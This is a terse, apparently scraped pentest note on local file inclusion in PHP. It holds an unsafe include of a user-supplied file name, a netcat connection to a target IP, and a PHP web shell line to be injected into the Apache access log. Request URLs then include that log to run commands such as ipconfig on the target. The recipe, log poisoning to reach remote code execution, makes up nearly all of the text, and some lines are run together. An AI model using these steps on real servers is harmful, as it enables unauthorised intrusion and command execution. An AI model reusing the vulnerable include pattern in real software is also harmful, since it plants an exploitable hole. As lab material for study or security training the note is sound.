LFI - Theory & basic commands
<?php
$file = $_GET[“file”];
include $file; ?>nc –nv 192.168.177.10 80 #connect to target
<?php system($_GET['cmd']); ?>
#Connection might hang at this point
#check out log file to trigger RC
….file=c:\xampp\apache\logs\access.log&cmd=ipconfig
(read ipconfig of target)
http://192.168.177.10/menu.php?file=c:\xampp\apache\logs\access.log&cmd=ipconfigLast updated